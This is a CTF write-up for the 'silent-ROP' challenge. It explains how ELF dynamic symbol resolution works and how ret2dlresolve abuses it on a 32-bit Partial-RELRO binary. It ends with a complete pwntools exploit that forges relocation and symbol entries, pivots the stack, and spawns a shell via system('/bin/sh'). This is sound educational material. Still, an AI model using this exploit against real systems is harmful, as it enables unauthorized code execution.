Pwn - Return to dl-resolve Technique

0x0 Introduction

in th recent k3rn31ctf, there is a pwn question silent-ROP.

In this challenge, there is no output, neither put or printf is imported. So there is no way we can get the libc address/version. Therefore, normal way of ret2libc didn't work in this case, because we can't get the address of system function.

1
2
3
4
5
6
7
8
9
10
:> ii
[Imports]
nth vaddr bind type lib name
―――――――――――――――――――――――――――――――――――――
1 0x08049070 GLOBAL FUNC read
2 0x00000000 WEAK NOTYPE __gmon_start__
3 0x08049080 GLOBAL FUNC __libc_start_main
4 0x00000000 GLOBAL OBJ stdin
5 0x08049090 GLOBAL FUNC setvbuf
6 0x00000000 GLOBAL OBJ stdout

To solve this question, it required technique called ret2dlresolve, after serveral hour of reading article, i finally understand the process of return to dl resolve

here is some article I found useful

  1. 0ctf babystack with ret2dlresolve
  2. ROP之return to dl-resolve
  3. how dl-resolve works

0x1 How dl resolve works.

to perfrom ret2dlresolve, first we need to know how how dl resolve works. The detailed explaination can be found in the third link (how dl-resolve works) in the Introduction.

Take the silent-rop as example.

Which part are used in dl resolve

first take look at .dynamic section, the dynamic section contains some address that will be used in the dl resolve.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(pyenv) aynakeya@LAPTOP-T6NBK8L5:~/ctf/k3rn3lctf2021/silent-rop$ readelf -d silent-ROP

Dynamic section at offset 0x2f0c contains 24 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8049000
0x0000000d (FINI) 0x80492dc
0x00000019 (INIT_ARRAY) 0x804bf04
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x804bf08
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x8048228
0x00000005 (STRTAB) 0x80482c8
0x00000006 (SYMTAB) 0x8048248
0x0000000a (STRSZ) 95 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x804c000
0x00000002 (PLTRELSZ) 24 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048370
0x00000011 (REL) 0x8048358
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x8048338
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x8048328
0x00000000 (NULL) 0x0

There are 3 important segment JMPREL, STRTAB and SYMTAB.

SYMTAB & STRTAB

first lets take look at SYMTAB and STRTAB, those two section are actually closely related.

  • SYMTAB segment refer to section.dynsym (in this case 0x08048248)

  • STRTAB segment refer to section.dynstr (in this case 0x080482c8)

in elf sections, they are consecutive in adress

1
2
3
4
5
6
[0x08049235]> iS
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
6 0x00000248 0x80 0x08048248 0x80 -r-- .dynsym
7 0x000002c8 0x5f 0x080482c8 0x5f -r-- .dynstr

.dynstr is a simple list that store all the function name. as shown at 0x080482c8.

.dynsym store the offset of function name in the .dynstr
and each Elf32_Sym struct have length of 0x10

1
2
3
4
5
6
7
8
9
typedef struct 
{
Elf32_Word st_name ; /* Symbol name (string tbl index) */
Elf32_Addr st_value ; /* Symbol value */
Elf32_Word st_size ; /* Symbol size */
unsigned char st_info ; /* Symbol type and binding */
unsigned char st_other ; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx ; /* Section index */
} Elf32_Sym ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x08049235]> px @ 0x08048248
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048248 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x08048258 2000 0000 0000 0000 0000 0000 1200 0000 ...............
0x08048268 5000 0000 0000 0000 0000 0000 2000 0000 P........... ...
0x08048278 3400 0000 0000 0000 0000 0000 1200 0000 4...............
0x08048288 1a00 0000 0000 0000 0000 0000 1100 0000 ................
0x08048298 2c00 0000 0000 0000 0000 0000 1200 0000 ,...............
0x080482a8 2500 0000 0000 0000 0000 0000 1100 0000 %...............
0x080482b8 0b00 0000 04a0 0408 0400 0000 1100 1100 ................
0x080482c8 006c 6962 632e 736f 2e36 005f 494f 5f73 .libc.so.6._IO_s
0x080482d8 7464 696e 5f75 7365 6400 7374 6469 6e00 tdin_used.stdin.
0x080482e8 7265 6164 0073 7464 6f75 7400 7365 7476 read.stdout.setv
0x080482f8 6275 6600 5f5f 6c69 6263 5f73 7461 7274 buf.__libc_start
0x08048308 5f6d 6169 6e00 474c 4942 435f 322e 3000 _main.GLIBC_2.0.
0x08048318 5f5f 676d 6f6e 5f73 7461 7274 5f5f 0000 __gmon_start__..
0x08048328 0000 0200 0000 0200 0200 0200 0200 0100 ................
0x08048338 0100 0100 0100 0000 1000 0000 0000 0000 ................

for example, lets take look at second Elf32_Sym struct in the .dynsym

1
0x08048258  2000 0000 0000 0000 0000 0000 1200 0000   ...............

0x20 indicate the string offset in .dynstr. if we take look at .dynstr + 0x20, we can found the corresponding function name string "read\x00"

1
2
3
[0x08049235]> px @ 0x080482c8+0x20
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x080482e8 7265 6164 0073 7464 6f75 7400 7365 7476 read.stdout.setv

JMPREL

  • JMPREL refer to the section.rel.plt
1
2
3
4
5
6
7
(pyenv) aynakeya@LAPTOP-T6NBK8L5:~/ctf/k3rn3lctf2021/silent-rop$ readelf -r silent-ROP

Relocation section '.rel.plt' at offset 0x370 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804c00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804c010 00000307 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804c014 00000507 R_386_JUMP_SLOT 00000000 setvbuf@GLIBC_2.0
1
2
3
4
[0x08049235]> px @ 0x08048370
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048370 0cc0 0408 0701 0000 10c0 0408 0703 0000 ................
0x08048380 14c0 0408 0705 0000 0000 0000 0000 0000 ................

the data structure of .rel.plt are very different in x86 and x64 system. In this case, we are looking at x32 binary. So, in x86 system, the struct of .rel.plt is Elf32_Rel

1
2
3
4
5
6
7
8
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)

r_offset store the address of Global offset table of corresponding function.

r_info store the index address of Elf32_Sym

For example, the read function in .rel.plt have r_offset of 0x8040c00c, which is the address of read in GOT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
;-- section..got.plt:
;-- .got.plt:
;-- _GLOBAL_OFFSET_TABLE_:
0x0804c000 or al, 0xbf ; 191 ; [24] -rw- section size 24 named .got.plt
0x0804c002 add al, 8
0x0804c004 add byte [eax], al
0x0804c006 add byte [eax], al
0x0804c008 add byte [eax], al
0x0804c00a add byte [eax], al
;-- read:
0x0804c00c .dword 0x08049040 ; RELOC 32 read
;-- __libc_start_main:
0x0804c010 .dword 0x08049050 ; RELOC 32 __libc_start_main
;-- setvbuf:
0x0804c014 .dword 0x08049060 ; RELOC 32 setvbuf

r_info is 0701 in this case, which indicate the sym index is 0x01.

so, if we take look at Elf32_Sym struct at .dynsym + 0x01 * 0x10 (SYMTAB + index * length).

as shown in the SYMTAB part, this indicate the function read. which is exactly what we want.

1
2
3
[0x08049235]> px @ 0x08048248 + 0x01*0x10
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x08048258 2000 0000 0000 0000 0000 0000 1200 0000 ...............

Process of dl resolve

Before all

Since dl resolve is called only when lazy binding is enabled. So dl resolve can only be called when the binary is Partial RELRO or No RELRO

If a binary is Full RELRO, this means dl resolve will not be called. Therefore, it is return to dl resolve will not work in Full RELRO binary

before call dl resolve

  1. normally, if we want to call a funtion. we first call function address at PLT.
  2. if it is the first time call this function, the PLT will jump to GOT, push the real function address and jump back to plt, save the real function address to PLT for next call and then call the fucntion
  3. if there is already a address in PLT, it just call the function

but what if there is no value in the GOT due to lazy binding? here it comes dl resolve

dl resolve

  1. if the GOT return 0x0, the the binary will use _dl_runtime_resolve() to find the real address
  2. after getting the real address, it will save the real address to GOT
  3. call the function with parameter.

_dl_runtime_resolve function is called in front of section.plt

1
2
3
4
5
6
7
8
9
;-- section..plt:
;-- .plt:
0x08049030 push dword [0x804c004] ; 0x804c004 is link_map
0x08049036 jmp dword [0x804c008] ; 0x804c008 is the address of _dl_runtime_resolve
0x0804903c nop dword [eax]
0x08049040 endbr32
0x08049044 push 0
0x08049049 jmp section..plt
0x0804904e nop

_dl_runtime_resolve do the following things

  1. it take link_map which store the all information of imported library
  2. it also take rel_offset, which indicate the offset of struct of Elf32_Rel to .rel.plt
  3. then it read the r_info in Elf32_Rel
  4. use r_info to find Elf32_Sym
  5. use Elf32_Sym struct to find function name
  6. search by function name and then return real function address
  7. call the function by it's paramter
1
2
3
4
5
6
_dl_runtime_resolve(link_map, rel_offset) {
Elf32_Rel * rel_entry = JMPREL + rel_offset ;
Elf32_Sym * sym_entry = &SYMTAB [ ELF32_R_SYM ( rel_entry -> r_info )];
char * sym_name = STRTAB + sym_entry -> st_name ;
_search_for_symbol_(link_map, sym_name);
}

0x2 How return to dl-resolve work

notice that in _dl_runtime_resolve, it use rel_offset to find the struct of Elf32_Rel and get the function name.

also notice that the boundary check for rel_offset is missing, so we an pass any value to the function

if we can find a writable address that higher than JMPREL, we can try to make a fake Elf32_Rel struct in fake section.rel.plt along with fake section.dynsym and fake section.dynstr

after making those fake section, pass the section address offset to _dl_runtime_resolve, then _dl_runtime_resolve will automatically call the function.

0x4 Example Solution

1
2
3
4
5
# Arch:     i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
  1. the binary have an very obvious buffer overflow in vuln, so we can easily write ebp and eip
  2. first we need to use read to create our fake section and ropchian to call dl_resolve
  3. we want to fake the main to call read(0,fake_stack_address,0x300)
  4. after creating fake stack, we want point esp to our fake stack and use ret to execute dl_resolve, there fore, we use leave;ret
    1
    2
    3
    4
    5
    6
    7
    fake_stack_address <- saved ebp
    jmp read <- call read
    leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve
    0x0 <- para 1
    fake_stack_address <- para 2
    fake_stack_length=0x300 < para 3
    main stack
  5. then, in the stack we need to forge all the section we need and create rop chain
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    AAAA <- fake ebp
    // we want to fake that system call dl_resolve
    // push fake section.rel.plt
    dl_resolve
    fake_rel_plt_ptr
    AAAA <- fake eip
    "/bin/sh" ptr <- parameter 1
    // some fake stack where it call system("/bin/sh")

    -

    // fake section.rel.plt
    {
    Elf32_Addr r_offset ; /* Address */ Fake got
    Elf32_Word r_info ; /* Relocation type and symbol index */ point to fake section.dynsym
    }
    // fake section.dynsym
    point to "system" in fake section.dynstr
    // fake section.dynstr
    "system"
    // fake got
    // fake text
    "/bin/sh"

0x5 Example Exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template silent-ROP
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('silent-ROP')
libc = ELF("libc.so.6")
rop = ROP(exe)

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())


# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)

# 0x08048000 - 0x08049000 - usr 4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; segment.ehdr
# 0x08049000 - 0x0804a000 - usr 4K s r-x /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.r_x
# 0x0804a000 - 0x0804b000 - usr 4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; obj._fp_hw
# 0x0804b000 - 0x0804c000 - usr 4K s r-- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.r__
# 0x0804c000 - 0x0804d000 - usr 4K s rw- /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP /home/aynakeya/ctf/k3rn3lctf2021/silent-rop/silent-ROP ; map._home_aynakeya_ctf_k3rn3lctf2021_silent_rop_silent_ROP.rw_
#

# [0xf7ef7120]> px @ 0x8048248
# - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
# 0x08048248 0000 0000 0000 0000 0000 0000 0000 0000 ................
# 0x08048258 2000 0000 0000 0000 0000 0000 1200 0000 ...............
# 0x08048268 5000 0000 0000 0000 0000 0000 2000 0000 P........... ...
# 0x08048278 3400 0000 0000 0000 0000 0000 1200 0000 4...............
# 0x08048288 1a00 0000 0000 0000 0000 0000 1100 0000 ................
# 0x08048298 2c00 0000 0000 0000 0000 0000 1200 0000 ,...............
# 0x080482a8 2500 0000 0000 0000 0000 0000 1100 0000 %...............
# 0x080482b8 0b00 0000 04a0 0408 0400 0000 1100 1100 ................
# 0x080482c8 006c 6962 632e 736f 2e36 005f 494f 5f73 .libc.so.6._IO_s
# 0x080482d8 7464 696e 5f75 7365 6400 7374 6469 6e00 tdin_used.stdin.
# 0x080482e8 7265 6164 0073 7464 6f75 7400 7365 7476 read.stdout.setv
# 0x080482f8 6275 6600 5f5f 6c69 6263 5f73 7461 7274 buf.__libc_start
# 0x08048308 5f6d 6169 6e00 474c 4942 435f 322e 3000 _main.GLIBC_2.0.
# 0x08048318 5f5f 676d 6f6e 5f73 7461 7274 5f5f 0000 __gmon_start__..
# 0x08048328 0000 0200 0000 0200 0200 0200 0200 0100 ................
# 0x08048338 0100 0100 0100 0000 1000 0000 0000 0000 ................
def log_print(*msg):
log.info(" ".join(msg))


def int2byte(x: int):
return x.to_bytes(0x4, "little")


# at the beginning of .plt
dl_resolve_ptr = exe.get_section_by_name(".plt")["sh_addr"]
log_print("dl_resolve:", hex(dl_resolve_ptr))

section_dynstr, section_dynsym, section_rel_plt = map(exe.dynamic_value_by_tag,
["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])

log_print(".dynstr:", hex(section_dynstr))
log_print(".dynsym:", hex(section_dynsym))
log_print(".rel.plt:", hex(section_rel_plt))

writable_ptr = 0x0804d000 - 0x400
fake_stack_address = writable_ptr
rop_offset = 0x0
fake_rel_plt_offset = 0x140
fake_dynsym_offset = 0x160 + section_dynsym % 0x10 # align to 0x10 multiplication + section_dynsym
fake_dynstr_offset = 0x190
fake_got_offset = 0x1e0
fake_text_offset = 0x1f0
fake_stack_length = 0x300
# fake section.text
fake_text = b"/bin/sh\x00"
# fake section.dynstr
fake_dynstr = b"system\x00"
# fake section.dynsym
fake_dynsym = flat({
0x0: (writable_ptr + fake_dynstr_offset) - section_dynstr, # system\x00 offset to section.dynstr
0xc: 0x12 # just copy paste from origin section.dynsym
}, filler=b"\x00", length=0x10)

fake_sym_index = (writable_ptr + fake_dynsym_offset - section_dynsym) // 0x10
log_print(hex(fake_sym_index))
r_info = (fake_sym_index << 8) | 0x7
log_print(hex(r_info))
fake_rel_plt = flat({
0x0: writable_ptr + fake_got_offset,
0x4: r_info,
}, filler=b"\x00", length=0x8)

call_dl_resolve = flat({
0x0: [
b"AAAA", # fake ebp
dl_resolve_ptr,
(writable_ptr + fake_rel_plt_offset) - section_rel_plt, # section.rel.plt function offset
b"AAAA",
writable_ptr + fake_text_offset
]
})
log_print(hex((writable_ptr + fake_rel_plt_offset)), hex(section_rel_plt),hex((writable_ptr + fake_rel_plt_offset) - section_rel_plt))

fake_call_system_stack = flat({
rop_offset: call_dl_resolve,
fake_rel_plt_offset: fake_rel_plt,
fake_dynsym_offset: fake_dynsym,
fake_dynstr_offset: fake_dynstr,
fake_text_offset: fake_text,
},filler=b"\x00",length=fake_stack_length)

'''
0x0804c100
AAAA <- fake ebp
// we want to fake that system call dl_resolve
// push fake section.rel.plt
dl_resolve
fake_rel_plt_ptr
-
AAAA <- fake eip
"/bin/sh" ptr <- parameter 1
// some fake stack where it call system("/bin/sh")
-
// fake section.rel.plt
{
Elf32_Addr r_offset ; /* Address */ Fake got
Elf32_Word r_info ; /* Relocation type and symbol index */ point to fake section.dynsym
}
// fake section.dynsym
point to "system" in fake section.dynstr
// fake section.dynstr
"system"
// fake got
// fake text
"/bin/sh"
'''
jump_to_call_system_stack = flat({
0x18: [
fake_stack_address, # ebp
exe.plt['read'], # call read to write stack into the target
rop.find_gadget(['leave', 'ret'])[0],
0,
fake_stack_address,
fake_stack_length,
],
}, filler=b'\x00')
'''
origin
saved ebp
save eip
stack of main

we want to fake the main to call read(0,fake_stack_address,0x300),
fake_stack_address <- saved ebp
jmp read <-
leave;ret; <- saved eip. but we want to first point esp to the our stack and then ret so we can execute dl_resolve
0x0 <- para 1
fake_stack_address <- para 2
fake_stack_length=0x300 < para 3
main
'''

io = start()
if input("debugger?") == "y\n":
pid = util.proc.pidof(io)[0]
print("The pid is: " + str(pid))
util.proc.wait_for_debugger(pid)
input("press enter to continue")
input("send first payload")
io.sendline(jump_to_call_system_stack)
input("send second payload")
io.sendline(fake_call_system_stack)
io.interactive()

0x6 Flag

flag{r3t_2_dl_r3s0lve_d03s_n0t_n3ed_a_l34k}